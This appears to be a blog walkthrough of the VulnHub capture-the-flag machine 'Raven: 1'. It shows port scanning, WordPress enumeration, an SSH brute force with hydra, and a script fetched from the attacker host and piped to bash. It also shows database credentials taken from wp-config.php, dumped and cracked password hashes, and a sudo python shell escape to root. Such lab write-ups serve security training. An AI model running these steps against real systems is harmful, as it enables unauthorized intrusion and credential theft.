Name : Raven: 1 Difficulty : Beginner/Intermediate Type : boot2root Source : VulnHub URL : https://www.vulnhub.com/entry/raven-1,256/ Entry : 1 / 30

Welcome to the walkthrough for Raven, a boot2root CTF found on VulnHub. This is the first in my VulnHub Challenge that I’m doing to keep myself sharp in my offensive skills. To be fair, I’m starting off easy and then moving on to more challenging machines.

Goal

This CTF has 4 separate flags that we need to find. The format will be along the lines of flag1{hash} , so we’ll need to be on the lookout for those as we progress.

Setup

To start, I’m using VMWare Workstation Player to host my main attacking VM (running Kali) and the Raven OVA image. I’m using a NAT network for both just to keep things simple.

Discovery

I’m going to use netdiscover to search for the IP address of the Raven VM:

root@dante:~# netdiscover -r 192.168.111.0/24 Currently scanning: Finished! | Screen View: Unique Hosts 4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240 _____________________________________________________________________________ IP At MAC Address Count Len MAC Vendor / Hostname ----------------------------------------------------------------------------- 192.168.111.1 00:50:56:c0:00:08 1 60 VMware, Inc. 192.168.111.2 00:50:56:f8:98:a5 1 60 VMware, Inc. 192.168.111.140 00:0c:29:1a:b7:d1 1 60 VMware, Inc. 192.168.111.254 00:50:56:e0:ea:28 1 60 VMware, Inc.

Looks like 192.168.111.140 is my target IP. Let’s move on and scan the system.

Scanning

I’ll start with a simple nmap scan using default scripts ( -sC ) and look for software versions as well ( -sV ):

root@dante:~# nmap -sC -sV 192.168.111.140 Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-18 20:20 EDT Nmap scan report for raven.local (192.168.111.140) Host is up (0.00012s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0) | ssh-hostkey: | 1024 26:81:c1:f3:5e:01:ef:93:49:3d:91:1e:ae:8b:3c:fc (DSA) | 2048 31:58:01:19:4d:a2:80:a6:b9:0d:40:98:1c:97:aa:53 (RSA) | 256 1f:77:31:19:de:b0:e1:6d:ca:77:07:76:84:d3:a9:a0 (ECDSA) |_ 256 0e:85:71:a8:a2:c3:08:69:9c:91:c0:3f:84:18:df:ae (ED25519) 80/tcp open http Apache httpd 2.4.10 ((Debian)) |_http-server-header: Apache/2.4.10 (Debian) |_http-title: Raven Security 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100024 1 59412/tcp status |_ 100024 1 60547/udp status MAC Address: 00:0C:29:1A:B7:D1 (VMware) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 7.01 seconds

So the system has SSH, HTTP, and RPC running on ports 22, 80, and 111 respectively. Interesting, but not too helpful just yet. Apache is version 2.4.10, which isn’t exactly new, but not so old as to make me think of an obvious exploit. Let’s see what information we can gather from the website itself first, then we can go and dig a bit deeper.

Enumeration

Browsing to the site, it looks like a pretty standard company website:

Clicking through the links, it seems that we have static HTML pages except for their blog, which points to a WordPress site. Also interesting is that it fails to render some content as it seems to be timing out on raven.local :

On a hunch I edit my /etc/hosts file and add an entry for raven.local and try again:

Success. I decide now is a good time to use curl to go through the various URLs that I’ve found and see if I can find any flags that way. Here’s the list of links that I found:

index.html

about.html

service.html

team.html

contact.html

There’s also the /wordpress/ URL, but we’ll track that separately.

Flag 1

Let’s whip up a quick bash script to iterate through these pages looking for a flag:

#!/bin/bash for url in index.html about.html service.html team.html contact.html; do flag=$(curl http://192.168.111.140/$url 2> /dev/null | grep flag\.\{) if [[ $flag != "" ]]; then echo "Found a flag in: $url" echo "$flag" fi done

Running this script gives us:

Found a flag in: service.html <!-- flag1{b9bbcb33e11b80be759c4e844862482d} -->

Awesome! We found our first flag.

WordPress

Turning my attention back to WordPress, I decide to use the wpscan tool to look at the site and see what information I can get from it:

_______________________________________________________________ __ _______ _____ \ \ / / __ \ / ____| \ \ /\ / /| |__) | (___ ___ __ _ _ __ ® \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ \ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version 2.9.4 Sponsored by Sucuri - https://sucuri.net @_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_ _______________________________________________________________ [+] URL: http://raven.local/wordpress/ [+] Started: Thu Jul 18 21:55:13 2019 [+] Interesting header: LINK: <http://raven.local/wordpress/index.php/wp-json/>; rel="https://api.w.org/" [+] Interesting header: SERVER: Apache/2.4.10 (Debian) [+] XML-RPC Interface available under: http://raven.local/wordpress/xmlrpc.php [HTTP 405] [+] Found an RSS Feed: http://raven.local/wordpress/index.php/feed/ [HTTP 200] [!] Detected 1 user from RSS feed: +---------+ | Name | +---------+ | michael | +---------+ [!] Includes directory has directory listing enabled: http://raven.local/wordpress/wp-includes/ [+] Enumerating WordPress version ... [+] WordPress version 4.8.9 (Released on 2019-03-13) identified from meta generator, links opml [+] WordPress theme in use: twentyseventeen - v1.3 [+] Name: twentyseventeen - v1.3 [+] Name: twentyseventeen - v1.3 | Last updated: 2019-05-07T00:00:00.000Z | Location: http://raven.local/wordpress/wp-content/themes/twentyseventeen/ | Readme: http://raven.local/wordpress/wp-content/themes/twentyseventeen/README.txt [!] The version is out of date, the latest version is 2.2 | Style URL: http://raven.local/wordpress/wp-content/themes/twentyseventeen/style.css | Theme Name: Twenty Seventeen | Theme URI: https://wordpress.org/themes/twentyseventeen/ | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a... | Author: the WordPress team | Author URI: https://wordpress.org/ [+] Enumerating plugins from passive detection ... [+] No plugins found passively [+] Finished: Thu Jul 18 21:55:16 2019 [+] Elapsed time: 00:00:02 [+] Requests made: 652 [+] Memory used: 40.035 MB

A fair bit of output, but there’s a few things we can see:

The version of WordPress being run is 4.8.9

There is a single user, michael that was found

that was found The theme in use, twentyseventeen, is outdated

There are no plugins found

I try logging in to WordPress using a few routine passwords like michael , password , and raven but none of them worked. Likewise I didn’t find any exploits for this version of WordPress or the twentyseventeen theme that would help me get a foothold.

Exploitation

So right now we have a website, a WordPress site, a username, an SSH server, and an RPC server. Without any luck in getting into the WordPress site, let’s move on and see where we can get with the SSH server.

SSH

The target is running OpenSSH 6.7p1. I’ve looked into exploits via searchsploit , Metasploit, and SecurityFocus, but nothing of interest was found. No problem, we can just try some good old fashioned brute forcing! To do this step, I’ll use two different tools:

hydra for the actual brute forcing. SecLists for a set of default passwords to test with.

SecLists is one of the first packages I install on Kali, and I strongly recommend you do the same. Daniel Miessler has done us all a great service by putting this list together.

Alright, let’s run hydra using the 10k-most-common.txt password file from SecLists. I chose this one out of convenience, but I could have used something like /usr/share/wordlists/rockyou.txt as well. I like shorter lists since they’re faster, but if those don’t work then I’ll go to a larger list. If it’s offline password cracking, then bigger is better and I’ll do the opposite and go with a larger list first.

With that out of the way, let’s get started:

root@dante:~# hydra -l michael -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt ssh://192.168.111.140 Hydra v8.9.1 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2019-07-19 07:19:04 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 16 tasks per 1 server, overall 16 tasks, 10000 login tries (l:1/p:10000), ~625 tries per task [DATA] attacking ssh://192.168.111.140:22/ [22][ssh] host: 192.168.111.140 login: michael password: michael 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2019-07-19 07:19:06

Great! We found a successful login for the user michael ! Let’s SSH to the machine and see what’s up.

LinEnum.sh

When I get on to a machine, one of the first things I’ll do is run a quick enumeration script to see what info I can gather. I like to use the LinEnum.sh script for this, so that’s what I’ll use here.

Note: I usually edit my LinEnum.sh scripts to force the thorough tests to run. When it comes to CTFs I always want the extra output, so by forcing this setting to be enabled within the script I don’t have to worry about forgetting to specify the flag. It also makes it easier when piping it through curl or wget .

First I check for curl , and then wget in order to see what I can use to grab the script:

root@dante:~# ssh michael@192.168.111.140 The authenticity of host '192.168.111.140 (192.168.111.140)' can't be established. ECDSA key fingerprint is SHA256:rCGKSPq0sUfa5mqn/8/M0T63OxqkEIR39pi835oSDo8. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.111.140' (ECDSA) to the list of known hosts. michael@192.168.111.140's password: The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. You have new mail. Last login: Tue Jul 9 11:59:51 2019 from 192.168.111.134 michael@Raven:~$ which curl michael@Raven:~$ michael@Raven:~$ which wget /usr/bin/wget

Looks like I only have wget . I’ll setup a web server using python on my Kali machine, then use wget to download the contents of the script to the target machine, piping the output to bash so that it can execute without touching the disk.

First up is starting the SimpleHTTPServer for my LinEnum.sh script on Kali:

root@dante:~# cd /opt/LinEnum/ root@dante:/opt/LinEnum# python -m SimpleHTTPServer 80 Serving HTTP on 0.0.0.0 port 80 ...

Next, I go back to my SSH session on Raven and download the script using wget , pipe it to bash , then review the results:

michael@Raven:~$ wget -qO - http://192.168.111.134/LinEnum.sh | bash ######################################################### # Local Linux Enumeration & Privilege Escalation Script # ######################################################### # www.rebootuser.com # version 0.97 [-] Debug Info [+] Thorough tests = Enabled Scan started at: Friday 19 July 21:34:42 AEST 2019 ### SYSTEM ############################################## [-] Kernel information: Linux Raven 3.16.0-6-amd64 #1 SMP Debian 3.16.57-2 (2018-07-14) x86_64 GNU/Linux [-] Kernel information (continued): Linux version 3.16.0-6-amd64 (debian-kernel@lists.debian.org) (gcc version 4.9.2 (Debian 4.9.2-10+deb8u1) ) #1 SMP Debian 3.16.57-2 (2018-07-14) [-] Specific release information: PRETTY_NAME="Debian GNU/Linux 8 (jessie)" NAME="Debian GNU/Linux" VERSION_ID="8" VERSION="8 (jessie)" ID=debian HOME_URL="http://www.debian.org/" SUPPORT_URL="http://www.debian.org/support" BUG_REPORT_URL="https://bugs.debian.org/" ... <snip>

There’s a lot of output here, so let’s focus on some highlights:

There are two users on the system, michael and steven . michael has read/write access to /var/www and /home/michael michael does not have sudo access

Flag 2

Starting to explore a bit, I find nothing in /home/michael , but /var/www has a file called flag2.txt :

michael@Raven:~$ cd /var/www michael@Raven:/var/www$ ls flag2.txt html michael@Raven:/var/www$ cat flag2.txt flag2{fc3fd58dcdad9ab23faca6e9a36e581c} michael@Raven:/var/www$

Boom, 2 / 4 flags retrieved!

Revisiting WordPress

The /var/www/html/wordpress directory is wide open (i.e. chmod 777 open), so let’s go spelunking for some passwords! WordPress is backed by a database, and we saw from the LinEnum.sh output that MySQL is installed on this machine. Looking at /var/www/html/wordpress/wp_config.php we can look for MySQL credentials:

<?php /** * The base configuration for WordPress * * The wp-config.php creation script uses this file during the * installation. You don't have to use the web site, you can * copy this file to "wp-config.php" and fill in the values. * * This file contains the following configurations: * * * MySQL settings * * Secret keys * * Database table prefix * * ABSPATH * * @link https://codex.wordpress.org/Editing_wp-config.php * * @package WordPress */ // ** MySQL settings - You can get this info from your web host ** // /** The name of the database for WordPress */ define('DB_NAME', 'wordpress'); /** MySQL database username */ define('DB_USER', 'root'); /** MySQL database password */ define('DB_PASSWORD', 'R@v3nSecurity'); /** MySQL hostname */ define('DB_HOST', 'localhost'); /** Database Charset to use in creating database tables. */ define('DB_CHARSET', 'utf8mb4'); /** The Database Collate type. Don't change this if in doubt. */ define('DB_COLLATE', ''); /**#@+ * Authentication Unique Keys and Salts. * * Change these to different unique phrases! * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service} * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again. * * @since 2.6.0 */ define('AUTH_KEY', '0&ItXmn^q2d[e*yB:9,L:rR<B`h+DG,zQ&SN{Or3zalh.JE+Q!Gi:L7U[(T:J5ay'); define('SECURE_AUTH_KEY', 'y@^[*q{)NKZAKK{,AA4y-Ia*swA6/O@&*r{+RS*N!p1&a$*ctt+ I/!?A/Tip(BG'); define('LOGGED_IN_KEY', '.D4}RE4rW2C@9^Bp%#U6i)?cs7,@e]YD:R~fp#hXOk$4o/yDO8b7I&/F7SBSLPlj'); define('NONCE_KEY', '4L{Cq,%ce2?RRT7zue#R3DezpNq4sFvcCzF@zdmgL/fKpaGX:EpJt/]xZW1_H&46'); define('AUTH_SALT', '@@?u*YKtt:o/T&V;cbb`.GaJ0./S@dn$t2~n+lR3{PktK]2,*y/b%<BH-Bd#I}oE'); define('SECURE_AUTH_SALT', 'f0Dc#lKmEJi(:-3+x.V#]Wy@mCmp%njtmFb6`_80[8FK,ZQ=+HH/$& mn=]=/cvd'); define('LOGGED_IN_SALT', '}STRHqy,4scy7v >-..Hc WD*h7rnYq]H`-glDfTVUaOwlh!-/?=3u;##:Rj1]7@'); define('NONCE_SALT', 'i(#~[sXA TbJJfdn&D;0bd`p$r,~.o/?%m<H+<>Vj+,nLvX!-jjjV-o6*HDh5Td{'); /**#@-*/ /** * WordPress Database Table prefix. * * You can have multiple installations in one database if you give each * a unique prefix. Only numbers, letters, and underscores please! */ $table_prefix = 'wp_'; /** * For developers: WordPress debugging mode. * * Change this to true to enable the display of notices during development. * It is strongly recommended that plugin and theme developers use WP_DEBUG * in their development environments. * * For information on other constants that can be used for debugging, * visit the Codex. * * @link https://codex.wordpress.org/Debugging_in_WordPress */ define('WP_DEBUG', false); /* That's all, stop editing! Happy blogging. */ /** Absolute path to the WordPress directory. */ if ( !defined('ABSPATH') ) define('ABSPATH', dirname(__FILE__) . '/'); /** Sets up WordPress vars and included files. */ require_once(ABSPATH . 'wp-settings.php');

Awesome, we have a password for MySQL, and it’s for root no less! Time to connect and see what we can do.

MySQL Searching

Since MySQL isn’t exposed externally, we’ll use the SSH connection we have with michael . Let’s start by connecting to MySQL and seeing what databases are available:

michael@Raven:/var/www/html/wordpress$ mysql -uroot -p Enter password: Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 37 Server version: 5.5.60-0+deb8u1 (Debian) Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved. Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. mysql> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | mysql | | performance_schema | | wordpress | +--------------------+ 4 rows in set (0.00 sec) mysql>

By the look of things, the wordpress database is going to be our safest bet. Let’s see if we can grab some info from that database, starting with user accounts:

mysql> use wordpress; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed mysql> show tables; +-----------------------+ | Tables_in_wordpress | +-----------------------+ | wp_commentmeta | | wp_comments | | wp_links | | wp_options | | wp_postmeta | | wp_posts | | wp_term_relationships | | wp_term_taxonomy | | wp_termmeta | | wp_terms | | wp_usermeta | | wp_users | +-----------------------+ 12 rows in set (0.00 sec) mysql> SELECT * FROM wp_users\G *************************** 1. row *************************** ID: 1 user_login: michael user_pass: $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0 user_nicename: michael user_email: michael@raven.org user_url: user_registered: 2018-08-12 22:49:12 user_activation_key: 1562634170:$P$Bc5n8.xXhbc7uyzNzb4IuhsPr85tm7/ user_status: 0 display_name: michael *************************** 2. row *************************** ID: 2 user_login: steven user_pass: $P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/ user_nicename: steven user_email: steven@raven.org user_url: user_registered: 2018-08-12 23:31:16 user_activation_key: user_status: 0 display_name: Steven Seagull 2 rows in set (0.00 sec) mysql>

Pro tip: Using \G instead of ; in a SELECT statement will give you slightly nicer output for really wide columns.

Grabbing the values for user_login and user_pass from the wp_users table, we toss them into a file for professing.

mysql> SELECT CONCAT(user_login, ":", user_pass) FROM wp_users INTO OUTFILE '/tmp/wordpress.txt'; Query OK, 2 rows affected (0.01 sec) mysql> exit Bye

michael@Raven:~$ cat /tmp/wordpress.txt michael:$P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0 steven:$P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/ michael@Raven:~$

Flag 3

Now that we have the file, let’s transfer it back to Kali via scp and then use John the Ripper to crack the passwords. But before we do that, let’s go take a look at the wp_posts table. I’m curious if there’s anything that might be coming up that would be interesting.

mysql> SELECT * FROM wp_posts WHERE post_status != 'publish'\G *************************** 1. row *************************** ID: 4 post_author: 1 post_date: 2018-08-13 01:48:31 post_date_gmt: 0000-00-00 00:00:00 post_content: flag3{afc01ab56b50591e7dccf93122770cd2} post_title: flag3 post_excerpt: post_status: draft comment_status: open ping_status: open post_password: post_name: to_ping: pinged: post_modified: 2018-08-13 01:48:31 post_modified_gmt: 2018-08-13 01:48:31 post_content_filtered: post_parent: 0 guid: http://raven.local/wordpress/?p=4 menu_order: 0 post_type: post post_mime_type: comment_count: 0 *************************** 2. row *************************** ID: 5 post_author: 1 post_date: 2018-08-12 23:31:59 post_date_gmt: 2018-08-12 23:31:59 post_content: flag4{715dea6c055b9fe3337544932f2941ce} post_title: flag4 post_excerpt: post_status: inherit comment_status: closed ping_status: closed post_password: post_name: 4-revision-v1 to_ping: pinged: post_modified: 2018-08-12 23:31:59 post_modified_gmt: 2018-08-12 23:31:59 post_content_filtered: post_parent: 4 guid: http://raven.local/wordpress/index.php/2018/08/12/4-revision-v1/ menu_order: 0 post_type: revision post_mime_type: comment_count: 0 *************************** 3. row *************************** ID: 7 post_author: 2 post_date: 2018-08-13 01:48:31 post_date_gmt: 2018-08-13 01:48:31 post_content: flag3{afc01ab56b50591e7dccf93122770cd2} post_title: flag3 post_excerpt: post_status: inherit comment_status: closed ping_status: closed post_password: post_name: 4-revision-v1 to_ping: pinged: post_modified: 2018-08-13 01:48:31 post_modified_gmt: 2018-08-13 01:48:31 post_content_filtered: post_parent: 4 guid: http://raven.local/wordpress/index.php/2018/08/13/4-revision-v1/ menu_order: 0 post_type: revision post_mime_type: comment_count: 0 3 rows in set (0.01 sec) mysql>

Well, would you look at that! Seems like we have the remaining two flags hiding in draft posts! Now a lesser individual would call it a day, but seeing as I have a few hashed passwords sitting on my Kali machine that need some attention, I’m just going to continue on with this little challenge.

Password Cracking

As I mentioned above, I like to use large password lists when cracking passwords locally. I figure if I only need to run the tool once, that would be idea. As such, I’m going to use the infamous rockyou.txt wordlist. Not sure on passwords, so we’ll go big and stick with rockyou.txt .

I’m also going to use John the Ripper, since my laptop doesn’t have a powerful enough GPU for Hashcat. I do have another rig that I can use, but I’d rather save that for a more difficult task. Hopefully I haven’t just jinxed myself.

root@dante:~/vulnhub/raven/hashes# john --wordlist=/usr/share/wordlists/rockyou.txt wordpress.txt Using default input encoding: UTF-8 Loaded 2 password hashes with 2 different salts (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3]) Cost 1 (iteration count) is 8192 for all loaded hashes Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status pink84 (steven) 1g 0:00:12:44 DONE (2019-07-19 19:40) 0.001307g/s 18756p/s 18816c/s 18816C/s joefeher..*7¡Vamos! Use the "--show --format=phpass" options to display all of the cracked passwords reliably Session completed root@dante:~/vulnhub/raven/hashes#

The whole process took a while (big list with a non-stellar CPU, so it’s understandable), but we did get the password for steven pretty quickly. Let’s see if I can SSH into his account with this password:

root@dante:~# ssh steven@192.168.111.140 steven@192.168.111.140's password: The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Mon Aug 13 14:12:04 2018 $

Success!

Privilege Escalation

Let’s skip a few steps and just see if he has any sudo privileges:

$ sudo -l Matching Defaults entries for steven on raven: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User steven may run the following commands on raven: (ALL) NOPASSWD: /usr/bin/python

He does! Now we’re getting somewhere!

Now I’m going to share a great site that can help with privilege escalation when you’re on a Linux machine. It’s called GTFOBins. Let’s take a look at what they have for python and sudo :

$ whoami steven $ sudo python -c 'import os; os.system("/bin/sh")' # whoami root

And now we have a nice root shell.

Flag 4

I pop on over to /root and grab the final flag:

# cd /root # ls flag4.txt # cat flag4.txt ______ | ___ \ | |_/ /__ ___ _____ _ __ | // _` \ \ / / _ \ '_ \ | |\ \ (_| |\ V / __/ | | | \_| \_\__,_| \_/ \___|_| |_| flag4{715dea6c055b9fe3337544932f2941ce} CONGRATULATIONS on successfully rooting Raven! This is my first Boot2Root VM - I hope you enjoyed it. Hit me up on Twitter and let me know what you thought: @mccannwj / wjmccann.github.io #

To be fair, I cleaned up this final text file a bit to make it easier to read. Might be the file or the way my terminal was setup, but I think we can all agree this is easier to read.

Fin.